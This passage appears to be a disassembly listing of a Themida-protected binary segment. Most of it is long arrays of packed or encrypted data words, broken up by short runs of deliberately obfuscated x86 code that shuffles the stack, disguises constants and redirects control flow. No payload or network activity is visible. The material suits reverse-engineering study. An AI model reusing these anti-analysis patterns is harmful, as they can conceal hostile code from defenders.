36DC5988h, 0D4CA499Eh, 7C22F19Eh dd 50C896BEh, 0DD7CB73Ah, 27Bh, 88BEE036h, 316737DBh, 0D70D9184h dd 83B9E52Ah, 2D633BD6h, 0B65B44F9h, 0F05B2E8h, 64AC598Fh dd 0BC57043Ah, 85DDACE2h, 0E4540669h, 0FC62C07h, 1BF66CA7h dd 768F1A83h, 7DBD4D13h, 2BB6E828h, 66E85C02h, 4C07E0AEh dd 0C8E4BDF3h, 288BA7E7h, 4E07E0ADh, 9BEE4FF5h, 171935C5h dd 0BB0FDAB4h, 489D2562h, 2F92AEC9h, 55FFE6AFh, 0CE0893FCh dd 4A3098EDh, 90359E6Dh, 5791F7Fh, 0BC75D59Ah, 77075930h dd 25B0EE22h, 7EBE56FCh, 27B2EC29h, 12E458FEh, 40C46F31h dd 4E2D57E7h, 0F0AE66F0h, 0E66B9276h, 0F594AD40h, 0EEB1DB6Bh dd 301E31D4h, 1834CC72h, 0C358CD8Eh, 0EB2BBB14h, 0AEB06BC1h dd 2DD3CF7Fh, 43CF9380h, 2A7D05Bh, 0D9028D11h, 868D3A70h dd 42C05A18h, 0E492511h, 19A6Fh, 9FFF1700h, 4856BC69h dd 0EEB06512h, 9A040BB8h, 445AB764h, 3E25DA0Eh, 0E895CBD3h dd 8F3C722Ch, 3AE71D81h, 0C08FC5D9h, 54E94C68h, 0B11707E4h dd 216CA7FAh, 463283EFh, 0A6319A41h, 0D464FC8Dh, 3A157894h dd 0E23BFFE7h, 3E88A43Ch, 1507E16Bh, 0A54B53C0h, 35CD035Ch dd 0DE6935E0h, 1B360FB5h, 0B8481871h, 0ADF12378h, 0F919307h dd 0DC350FDBh, 8519F74Ch, 33369ADFh, 89B8D9F0h, 90D06000h dd 0D8EF1174h, 6935DBB8h, 1B74B5DEh, 0EFC1DD75h, 0F3C0D30Fh dd 93F60F9Ah, 97213DCDh, 0BC6EC73h, 46CD22B2h, 9E752258h dd 0E8514DC4h, 6DE83E2Ah, 35D40F21h, 0E3h, 205648CEh, 0C9FF9F73h dd 6FA5F91Ch, 1B514DC2h, 0C5FBA36Eh, 1EF3DC91h, 779D4A80h dd 0CC44F127h, 24EF9CD2h, 1D75447Ah, 0E4569E01h, 0A75EC407h dd 0A7326CA7h, 0D565FB8Eh, 61741EABh, 52C8EB85h, 652CA602h dd 0FE14B9D6h, 2262FAA0h, 0CF63C6E2h, 8A58FFE6h, 0B82ECDDBh dd 42E84182h, 0E0DFC8CEh, 679DF607h, 4DDD8306h, 0A1AD5E23h dd 59FFDEABh, 9F5DA5C1h, 30890FDEh, 130055A5h, 0DB38E58Bh dd 33E08DC3h, 52B4E06Bh, 283FBCDDh, 0C25135EFh, 1AF9A6DCh dd 68D1CD48h, 0EA8D83D8h, 0AFDD6BCEh, 0D740993Fh, 0EA7D234Ch dd 89148A85h, 4514CEF7h, 0EF7A24F0h, 0A07320C6h, 0F81BC8FEh dd 0C7EC16A6h, 24FC0A3Eh, 130ABF3Fh, 4C06F899h, 107413A6h dd 0D000000h, 0E63B7BBBh, 0A6097529h, 0CCFFE683h, 0A716CD73h dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch dd 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh dd 264368h, 242C8900h, 0C581E589h, 4, 8704ED83h ; --------------------------------------------------------------------------- sub al, 24h pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push ebx mov ebx, 7FDC89Ch push ebx sub dword ptr [esp], 244F6722h pop eax add eax, 244F6722h pop ebx push esp mov ecx, [esp] add esp, 4 push 7872h mov [esp], edx mov edx, eax mov [ecx+8], edx pop edx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dw 759Ch dd 0E4490693h, 0B8F7E0D5h, 7FDD42Fh, 0E0FFC503h, 7FF69749h dd 29EAEF9Bh, 77BE1339h, 0F72FDB9h, 38DCAC68h, 7A4E8CFDh dd 403CCDCh, 40B713Ch, 5D55422Fh, 317D1A7Ch, 395B361Bh dd 2CA456FCh, 148E9h, 7000h, 7400h, 7800h, 7C00h, 8000h dd 8400h, 8800h, 8C00h, 0D000h, 0D400h, 0D800h, 0DC00h dd 0E000h, 0E400h, 0E800h, 0EC00h, 0F000h, 0F400h, 0F800h dd 0FC00h, 10000h, 10400h, 10800h, 10C00h, 38h dup(0) dd 5C09B500h, 0B2C20300h, 14858D00h, 0B707FDD5h, 548589F3h dd 8B07FDD6h, 0FA25C9BDh, 6585C607h, 5407FA06h, 0C1952B60h dd 8907FA02h, 0FA01A5B5h, 4E86107h, 29000000h, 0B2EE6268h dd 665250C9h, 8B5FCA8Bh, 0E9042444h, 7, 0BE148DA4h, 8B36FBEDh dd 89FE8B00h, 0E8042444h, 0Ah, 8C3DA57Dh, 0C5603CFFh, 830FACBEh dd 0Fh, 9E8h, 7224A00h, 0CD504AB2h, 5F5F43A1h, 0B5FFFC58h dd 7FA2095h, 7E8h, 32CEE900h, 0FA121DDh, 27B9958Bh, 8D5907FAh dd 0FDA3DD85h, 0C88B6607h, 24BAD0FFh, 894EB9D4h, 0FDD65885h dd 1BD2907h, 0E907FA1Eh, 3Bh, 8B56F1B5h, 0FDD654B5h, 83068907h dd 0FDD65485h, 0C35E0407h, 14B58D60h, 0EB07FDD5h, 6A560Fh dd 95FF36FFh, 7FDD658h, 4C6835Eh, 75003E83h, 0BFC361ECh dd 612D3DD1h, 8DF98B66h, 0FDD72385h, 298D8B07h, 8907FA26h dd 0FA312585h, 75E907h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h dd 8A5B5FFh, 858D07FAh, 7FDA3DDh, 8589D0FFh, 7FA1ED1h dd 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1ED195FFh dd 32E907FAh, 0C6000000h, 0FA066585h, 0DF685607h, 0FFA9C530h dd 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 5D8589D0h, 8D07FA26h dd 0FA2A5585h, 206A5007h, 0FF56056Ah, 0FA265D95h, 0C1C36107h dd 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h dd 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah dd 6734DF1Bh, 5600A6DBh, 9F0043A5h, 0DC80BAh, 54000000h dd 0FEB51Bh, 0FBFE3300h, 87000000h, 2352DDB4h, 19ED920h dd 0E97C809Eh, 1324h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 95C35343h, 33EDBD83h, 0F0007FAh, 3685h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0BA460DD9h, 8166A970h, 0B804FEF1h, 0 ; --------------------------------------------------------------------------- mov ch, dl retn 4 ; --------------------------------------------------------------------------- mov edi, [ebp+7FA1CB1h] mov eax, eax pusha and ebx, [ebp+7FA1191h] mov edx, esi popa cmp dword ptr [ebp+7FA2ACDh], 0 jnz short loc_5C0CED cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5C0D00 loc_5C0CED: ; CODE XREF: Themida_:005C0CE2j push eax push ebx mov eax, eax mov eax, 4D0h lea ebx, [ebp+7FCDFF8h] call ebx ; _iob pop ebx pop eax loc_5C0D00: ; CODE XREF: Themida_:005C0CEBj cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5C0D1A push eax push ebx mov eax, 4D0h lea ebx, [ebp+7FCDF45h] call ebx ; _iob pop ebx pop eax loc_5C0D1A: ; CODE XREF: Themida_:005C0D07j mov ecx, 2FB34F6Eh push 0 push edi call sub_5C0D2A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0D2A proc near ; CODE XREF: Themida_:005C0D22p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C0D2A endp ; --------------------------------------------------------------------------- dw 4067h dd 0F2775E0Bh, 0D18D03E2h, 0E907FA0Dh, 9, 22D73B32h, 0A3E56BD2h dd 64DF8138h, 8B38968Fh, 1E858DC0h, 6A07FDD8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0EF14C350h, 60D799CAh, 3168F8D6h, 0FA0AD58Dh, 0C8B95007h dd 89555163h, 0E7812404h, 11CE1A60h, 0D7DB858Dh, 666007FDh dd 3E20E681h, 17CDBD01h, 906107FAh, 264BB966h, 90CA8B50h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7BC35141h dd 100C8AB9h, 95B34634h, 290595FFh, 0BD8B07FAh, 7FA3195h dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 3BC35040h, 0E2802E31h, 6858930h, 0F07FDD8h, 448BCBBFh dd 6A0824h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0B809EDC3h, 12C1AE4Ah, 32A59503h, 858907FAh dd 7FDD81Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 7AC35545h, 0FF968961h, 7E8CBC6h, 5F000000h, 0C1D52720h dd 0EF8A406Fh, 21B58959h, 8307FA2Bh, 0FA24ADBDh, 850F0007h dd 104h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 39C35343h, 830F45BCh, 5, 41560EBFh, 6585C61Eh dd 4707FA06h, 5A41B966h, 0E5FF5E68h, 665250AAh, 0FD5B1BAh dd 0CE831h, 29E90000h, 0FAA90101h, 0BFFCF2A1h, 5A5F26B4h dd 24348158h, 7E7F588Ch, 2095B5FFh, 6A07FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 6539EFC3h dd 4B1770A8h, 95BD893Ch, 8D07FA33h, 0FDA3DD85h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 66C7A697h, 0D0FFD68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0BAC35646h, 8944ED80h, 0FA24AD85h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 6226165Ch, 419C6932h, 0BD8BADA7h, 7FA1C21h, 2835BD83h dd 0F0007FAh, 11985h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 15749C26h, 803421C6h dd 85C649F1h, 7FA0665h, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 340F9830h, 0AEF36827h dd 0BA66D16Ah, 3481526Ah, 651B1124h, 53006A5Bh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 4D97CBB1h dd 6295915Dh, 66574C3Fh, 2FA8D781h, 95B5FF5Ah, 6A07FA20h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0FB1AC357h, 8AF8E9F5h, 0DD858DD4h, 6A07FDA3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 72B6C356h, 0DE97Ch, 37980000h, 2CE81997h dd 3CAD011Dh, 0F55610Eh, 68Ah, 0F1BD8900h, 0FF07FA30h dd 0BE8D0h, 564D0000h, 16058BCh, 4582BF1Ah, 5E856h, 13280000h dd 52244735h, 895A5A59h, 0FA283585h, 0BD83F807h, 7FA0075h dd 2B850F00h, 81000001h, 466373E1h, 6585C67Ah, 5607FA06h dd 78B0C181h, 4E82BCDh, 39000000h, 50D41F6Dh, 12E9h, 0EECA3200h dd 319D85D8h, 0EA613DF8h, 0A636EBAFh, 8B296570h, 60042444h dd 2870Fh, 70B10000h, 0E9008B61h, 14h, 694095DFh, 3522A0D2h dd 4F06B1D0h, 84BE6DEAh, 0C9A95EA5h, 4244489h, 6A604EBAh dd 6A5857h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 9D4F4FC3h, 9C1E2783h, 8910620Ch, 0FA24DDB5h dd 0B5FFF807h, 7FA2095h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0AC35646h, 0FCFB8351h, 60C48616h, 81610CB2h dd 0A5FF67DAh, 0DD858D60h, 6A07FDA3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8195C357h dd 0DA562FD7h, 8BD0FF62h, 0FA2FA98Dh, 89BD2307h, 8907FA17h dd 0FA007585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 5F7D87E5h, 2F02C7A5h dd 14958529h, 85C607FAh, 7FA0665h, 8E96Ch, 4CA40000h, 8B7D9B0Dh dd 4B68CDCAh, 50EA7669h, 0FEAB652h, 5AF48A31h, 24348158h dd 317319C8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0FCC35747h, 61958B06h, 6607FA14h, 0B5FFCE8Bh, 7FA08A5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7CC35242h dd 63404F3Ch, 0F764258Ch, 0CD958BF9h, 8D07FA1Ch, 0FA3AE285h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0B5EF4595h, 9ED34CDh, 0D0FFF5B8h, 48C38060h dd 0AE961h, 8BB50000h, 53F94B02h, 712D7EEDh, 0D80A8589h dd 8E907FDh, 0C1000000h, 6B06959Dh, 83117E09h, 0FDD826BDh dd 850F0007h, 0FEh, 1364B966h, 66585C6h, 6A4907FAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0B4C4C357h, 4E815h, 29E90000h, 0FDB18C15h, 8E86050h dd 0FA000000h, 0ACF63B33h, 5E1ABFE2h, 10E9h, 0B2875400h dd 502A6ECAh, 0BB776DEDh, 899E6C6Bh, 448B6145h, 60B50424h dd 16B2008Bh, 4244489h, 1BB5BA53h, 585A06D3h, 10E9h, 146ACD00h dd 53E3DF2Dh, 578145BFh, 67542B0Ah, 819589FEh, 0FF07FA08h dd 0FA08A5B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 8F38A6AEh, 40794905h dd 7B662FB9h, 0E2858D6Ah, 8107FA3Ah, 456288DFh, 6AD0FF4Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 4381C356h, 0D1431F53h, 81518B24h, 11EBBDE9h dd 85895F0Eh, 7FDD826h, 0F259509h, 46A07FAh, 0E0816660h dd 0BD8BFCBAh, 7FA2B11h, 3806861h, 8B60D0A7h, 0FE8CAh dd 791C0000h, 9B46CC1Dh, 54967C3Ch, 2DA5AD60h, 0CA8B66E6h dd 481615Ah, 590C8024h, 50006A2Fh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E73C5482h, 0D68F5C7h dd 573F7248h, 0D31D01BAh, 34815F14h, 73480D24h, 2D95013Fh dd 6A07FA31h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0FF5DF18Eh, 0FA2A3595h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 85F74023h, 7FCD8E12h, 69BF86E6h, 0B6664B9Fh, 16858996h dd 2907FDD8h, 0FA1625BDh, 0E85C707h, 7FDD8h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F2CC351h, 685h, 55E78100h, 6A5019BAh, 619D8900h dd 6807FA2Fh, 0D46F25CAh, 66A7B560h, 61B7D7BFh, 36240481h dd 6A2B91DAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 6C56C356h, 0BFC8D9B9h, 0E9B50909h dd 9007FA2Ah, 0EAD305BAh, 11E95018h, 40000000h, 0B2DDDD36h dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CF8B66ADh dd 0BF660B6Ah, 858DC2C0h, 7FDD7E3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0E6C35040h, 87ED7281h, 0E91A2335h dd 30F9B589h, 0D08B07FAh, 12D28166h, 0CA8B905Ah, 0D1BA6650h dd 958B9037h, 7FA1C71h, 24AD95FFh, 6A07FAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B9FF4C3h dd 668A31DFh, 0BD0BD38Bh, 7FA1F4Dh, 0D7EDB58Dh, 0B59607FDh dd 52505016h, 5F616052h, 0D58A310Fh, 0F96585Ah, 5050CFBFh dd 8B666052h, 0A69ABFD9h, 0F611EE6h, 5AD1B631h, 24048958h dd 287DBD8Bh, 95FF07FAh, 7FA2835h, 0BFEB70Fh, 42850FC0h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0E6A8C357h, 0C85DDAE9h, 0D6FE16C4h dd 31658D89h, 84E907FAh, 0E9000006h, 0Dh, 0C15E4D9Eh, 0B6FA8C22h dd 1897F0A6h, 6AD0FFDAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 32D3C355h, 0B58BAD90h dd 7FDD816h, 2DE9BD89h, 468D07FAh, 4840F20h, 60000000h dd 6A615952h, 0BA666004h, 8166D57Fh, 61CBE1D6h, 60525050h dd 310F5250h, 0F78A585Ah, 5A310F61h, 24048958h, 0AABE6660h dd 518529FFh, 6107FA22h, 6258589h, 95FF07FAh, 7FDD826h dd 2BDDBD29h, 0C00B07FAh, 67840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 8F30A1C3h dd 2DB58B60h, 0F07FA2Bh, 689h, 698D8B00h, 6107FA1Fh, 0C8BF0F50h dd 5B5E95Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 956524C3h, 18BFF09Eh, 8B185E72h dd 0FA07B58Dh, 207E8007h, 80840F00h, 66000005h, 56C6E981h dd 5800F60h, 0B9000000h, 2514405Dh, 6A20468Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 5266C351h, 0EE943B79h, 73C67742h, 18F59D89h, 0DE907FAh dd 0 dd 3BBCA79Ah, 0FE06AE09h, 7AC95546h, 0D8128589h, 0B70F07FDh dd 127E9FEh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0CFE8E2C3h, 0B20379CAh, 40AC0A2Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 92C35343h dd 9712E400h, 0BC98589h, 605007FAh, 4F46B966h, 800Fh, 89610000h dd 23602404h, 0FA223585h, 0F3BF0F07h, 6A046A61h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0C75AC353h, 34406A71h, 61858936h, 9007FA21h, 693B5FBAh dd 8B665018h, 6A90CEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 6A5C55C3h, 9BE9D90Dh, 9DBD8B99h dd 0FF07FA25h, 0FDD82695h, 2D8D8B07h, 8B07FA24h, 0FA30C58Dh dd 60D88B07h, 2655BD8Bh, 61FC07FAh, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D2694095h dd 0D03522A0h, 858906B1h, 7FA3295h, 840FDB0Bh, 11h, 2C5BD0Bh dd 0E907FAh, 29000004h, 0FA18FD85h, 388007h, 0FEF5850Fh dd 8166FFFFh, 0E9D767C7h, 2Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0B0C35040h, 96609708h, 0DA81DE10h dd 5E410168h, 81B58948h, 3B07FA2Dh, 0FDD81285h, 4B820F07h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0C4F1C351h, 0F47D629h, 1D1D8D8Bh dd 388007FAh, 1B840F5Ch, 81000000h, 59B429C2h, 0B5BD8B5Ah dd 8007FA2Eh, 850F2F38h, 0FFFFFFA8h, 209D952Bh, 0F4007FAh dd 0BD83D7BFh, 7FDD81Ah, 67840F00h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0B299C356h, 0F20C8C7Ch, 0F8D0F50h, 0E8000000h, 5, 0A35F4BB8h dd 8DBF66BAh, 48959F1h, 9E824h, 0F30D0000h, 4F9B87E3h dd 534148A9h, 2F91BD8Bh, 5F5907FAh, 0D81A8503h, 958907FDh dd 7FA222Dh, 0C8BA6650h, 240489BCh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 41C35242h, 0BA7AC42Ch, 4E1BB238h dd 6A046Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0EB0615C3h, 0E950035Fh, 5, 3F3D560Ch, 24048971h dd 14799503h, 95FF07FAh, 7FDD826h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0A1C35646h, 0C56EFF2Eh, 803D51BCh dd 68E0Fh, 9D010000h, 7FA2C9Dh, 2BD88BFCh, 0FA2DE9BDh dd 8B665807h, 159523C8h, 0B07FA10h, 24840FDBh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 67FEC356h, 1CE93178h, 0C6000002h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 295776C3h, 0E4F96257h, 6DBA5845h, 5848F5CFh, 1E7D9D89h dd 539007FAh, 8B66505Ah, 816690FEh, 6AEDF8D2h, 57006A1Eh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0F50FC01h, 88h, 24048900h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 90C35141h, 2DBDBF66h, 0D82695FFh dd 0B58907FDh, 7FA1D85h, 8D89D88Bh, 7FA1869h, 65BD8B58h dd 0B07FA25h, 3E840FDBh, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 9F5BC351h dd 0FEB13828h, 0B96656DFh, 0F5F6744h, 689h, 599D8900h dd 0E907FA05h, 137h, 0DCADBEB9h, 830F901Fh, 4, 5A616051h dd 58C0F50h, 0B9000000h, 1E5D990Ch, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0C305C936h dd 8BA18564h, 6B5FFBEh, 8007FDD8h, 0FB8BDBDAh, 0D80A95FFh dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 782F58C3h, 9F184229h, 798D89CFh, 6007FA26h dd 15598D8Bh, 0B6107FAh, 33850FC0h, 61000000h, 0E9FB8B66h dd 0Ah, 0B288822h, 819B7106h, 85C748CDh, 7FDD80Eh, 1, 0C898D0Bh dd 84E907FAh, 0F000000h, 581h, 1C00BF00h, 6A61536Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0BC5C350h, 95896EADh, 7FA2871h, 11CC681h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 6E0861C3h, 16DA81F8h, 0E92FFA28h, 0FFFFF9DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7C35545h, 536E654Fh dd 6872A618h, 0D50F101h, 0BF525060h, 63716315h, 0EF8A310Fh dd 870F585Ah, 2, 81616160h, 71012434h, 0BD8B0D50h, 7FA2741h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 2B5E17C3h, 8BE22958h, 16B5FFFAh, 6A07FDD8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0CA52C357h, 1DB7470Eh, 4AC47CAAh, 2225B589h dd 810F07FAh, 6, 15B9958Bh, 95FF07FAh, 7FA0075h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A4C35040h, 2EE7EDD2h dd 898CBE25h, 0FA1D19BDh, 0E858B07h, 6A07FDD8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7C6AC353h, 16F59589h, 669007FAh, 0B250D18Bh, 11E9908Ah dd 1E000000h, 0EA27CF5Bh, 0F1EC42F5h, 874D173h, 5866F78Bh dd 0B0C32BBAh, 1E858D17h, 6A07FDD8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B8CEC352h dd 3A6DEED9h, 8D2B08B2h, 7FA2B4Dh, 8917B250h, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0E413E9C3h, 0ED4EEBC7h, 81BF724Bh, 0FD2DC9D1h, 7E903h dd 0A970000h, 0E45B7D6Bh, 0DB858D8Fh, 6A07FDD7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0AB8BC351h, 487E8E85h, 0F4FF69Ch, 1783h, 12E900h, 0AD7D0000h dd 33BCDFE0h, 28CBD455h, 2FA3C254h, 93759CDDh, 0BE990h dd 2FE10000h, 8DEB9C8Bh, 4B82BD01h, 52505079h, 0D357D5BFh dd 0E9310F7Eh, 0Bh, 0BD3E25AEh, 5166AEA9h, 5ABF0C27h, 8B669058h dd 0F4EA81CBh, 0FF72FAC9h, 0FA0EE195h, 0E9BD8907h, 8B07FA02h dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 83A2BEE3h, 0FA2ACDBDh, 9750007h, 1899BD83h dd 740007FAh, 8B535013h, 4D0B8C0h, 9D8D0000h, 7FCE05Fh dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535011h, 4D0h, 0DF5E9D8Dh dd 0D3FF07FCh, 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0DF7FBCC3h, 0F98B6605h, 0F7C3BF66h dd 8EEFB966h, 8B66C08Bh, 6A58D7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0B51898C3h, 66143080h dd 69E8E281h, 0E90008C2h, 14h, 95296D2h, 1A064257h, 23F13C7Eh dd 0CD0C5DB6h, 0CA5A0DA5h, 8589C08Bh, 7FA071Dh, 0D84B858Dh dd 0CE907FDh, 90000000h, 1F8F5A8h, 20078042h, 0E9D13A3Fh dd 0Bh, 6725A117h, 7D96C729h, 89E8A018h, 0FA2C6D85h, 39EB07h dd 0CC00CB00h, 0E400CB02h, 0CB02h, 6A000000h, 4844F659h dd 0EE75EF55h, 0B421FE5Dh, 8C4CF559h, 9C4DFF1Eh, 3C75D530h dd 7221D77Ch, 7B51D444h, 7D49CF5Eh, 8745FA55h, 9621F150h dd 0E12198D8h, 337CBB30h, 5C4D126Dh, 18651A34h, 1E218134h dd 0CC74DE30h, 0F568577Eh, 48B09115h, 0B321F1F0h, 0F02198D8h dd 0BB7BBB30h, 1875126Ah, 3A651A34h, 0F218F34h, 4473D930h dd 0E9C1897h, 0E126611Ah, 4DA29245h, 7FDB83A9h, 6C38EF30h dd 0A6E11063h, 0F219F89h, 0A7E81EB9h, 5EAC9CCAh, 0E6DD7914h dd 0A87A48CFh, 60B826B3h, 48219CCAh, 0A672CB27h, 0F219F89h dd 0A7E81EB9h, 5EAC9CCAh, 0E6DD4423h, 0A87A48CFh, 0B9941267h dd 6626611Dh, 180426BBh, 0CFAA9CCAh, 6F749B5Ah, 0C3219B33h dd 0BCE2C610h, 0F405F7B9h, 7C05DFB1h, 3C219B24h, 70E2CE75h dd 0E3476B0h, 7D3DB2B5h, 0A6A45D37h, 0B7266136h, 18769B5Ah dd 78219B33h, 63E2C410h, 1A05E7B9h, 0B05DFB1h, 87219B2Bh dd 0FDE2CC77h, 0E1F7A357h, 19CF2B48h, 78219B3Eh, 70B53AF4h dd 2C357A2Dh, 2E7F36CBh, 0E2493BECh, 42B563D4h, 32CCBF34h dd 0FD89C9Fh, 82010E85h, 6F21F137h, 1E2198D8h, 0CC7ABB30h dd 0A37D126Bh, 0E7651A34h, 0E1218134h, 3372D830h, 30ED84C6h dd 333D3D3Ah, 93D94A8Fh, 0F28246B5h, 4E9E9437h, 76A84BCFh dd 0E6DB8B41h, 0E6682EB9h, 7C4B9CCAh, 54DE243Fh, 0B4D42DE2h dd 0BA07B81h, 8D78B514h, 9121F165h, 0E12198D8h, 337BBB30h dd 5C75126Ah, 18651A34h, 1E218634h, 0CC73D930h, 59877799h dd 0ABFAF10Ah, 0E5C9A90Fh, 1C219B30h, 28219B32h, 3CA19462h dd 11219B30h, 0DA39401h, 0C219B30h, 9379C1F8h, 0E505DFBBh dd 748E2556h, 0C6479BBBh, 78A87634h, 0C79E9F14h, 5725B4A7h dd 0BD4089h, 0A921F150h, 0E2C9CC30h, 0D0219B30h, 0F17E586Fh dd 0BD25BF4Ch, 525BF74h, 48219B30h, 